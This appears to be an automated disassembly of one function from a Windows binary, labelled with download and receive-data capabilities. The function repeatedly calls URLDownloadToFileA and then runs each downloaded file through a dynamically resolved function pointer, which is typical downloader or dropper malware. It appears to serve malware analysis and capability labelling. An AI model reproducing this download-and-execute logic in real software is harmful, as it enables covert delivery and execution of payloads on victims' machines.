Function at 0x45fd98
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x45fda0
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4600be
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x46008f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4600cc
push 0x4600dc
call sub.kernel32.dll_LoadLibraryA
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x18], eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0xa
call sub.kernel32.dll_Sleep_1
lea eax, [ebp - 0x1c]
mov edx, 0x463bbc
mov ecx, 4
call fcn.004045b0
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 4]
mov edx, 0x4600f0
call fcn.004047cc
lea eax, [ebp - 0x20]
mov edx, 0x463bb4
mov ecx, 7
call fcn.004045b0
push dword [ebp - 0x20]
push 0x460100
push 0x46010c
push 0x460118
push 0x46010c
push 0x460124
push 0x460130
lea eax, [ebp - 8]
mov edx, 7
call fcn.00404840
lea eax, [ebp - 0x24]
mov edx, 0x463bc0
mov ecx, 0x105
call fcn.00404730
push dword [ebp - 0x24]
push 0x460148
push 0x460154
push 0x460160
push 0x460170
push dword [ebp - 4]
lea eax, [ebp - 0xc]
mov edx, 6
call fcn.00404840
xor eax, eax
push ebp
push 0x45fedc
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.00404980
push eax
mov eax, dword [ebp - 8]
call fcn.00404980
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 1
push 0x460178
push 0x460178
mov eax, dword [ebp - 0xc]
call fcn.00404980
push eax
push 0x460178
push 0
call dword [ebp - 0x18]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45fee6
push 0xa
call sub.kernel32.dll_Sleep_1
lea eax, [ebp - 0x28]
mov edx, 0x463bbc
mov ecx, 4
call fcn.004045b0
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 4]
mov edx, 0x460184
call fcn.004047cc
lea eax, [ebp - 0x2c]
mov edx, 0x463bb4
mov ecx, 7
call fcn.004045b0
push dword [ebp - 0x2c]
push 0x4601a4
push dword [ebp - 4]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404840
lea eax, [ebp - 0x30]
mov edx, 0x463bc0
mov ecx, 0x105
call fcn.00404730
mov edx, dword [ebp - 0x30]
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 4]
call fcn.004047cc
xor eax, eax
push ebp
push 0x45ffad
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 0x10]
call fcn.00404980
push eax
mov eax, dword [ebp - 8]
call fcn.00404980
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 1
push 0x460178
push 0x460178
mov eax, dword [ebp - 0x10]
call fcn.00404980
push eax
push 0x460178
push 0
call dword [ebp - 0x18]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45ffb7
lea eax, [ebp - 0x34]
mov edx, 0x463bbc
mov ecx, 4
call fcn.004045b0
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 4]
mov edx, 0x4601c4
call fcn.004047cc
lea eax, [ebp - 0x38]
mov edx, 0x463bb4
mov ecx, 7
call fcn.004045b0
push dword [ebp - 0x38]
push 0x4601dc
push dword [ebp - 4]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404840
lea eax, [ebp - 0x3c]
mov edx, 0x463bc0
mov ecx, 0x105
call fcn.00404730
mov edx, dword [ebp - 0x3c]
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 4]
call fcn.004047cc
xor eax, eax
push ebp
push 0x460077
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 0x14]
call fcn.00404980
push eax
mov eax, dword [ebp - 8]
call fcn.00404980
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 1
push 0x460178
push 0x460178
mov eax, dword [ebp - 0x14]
call fcn.00404980
push eax
push 0x460178
push 0
call dword [ebp - 0x18]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x460081
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x460096
ret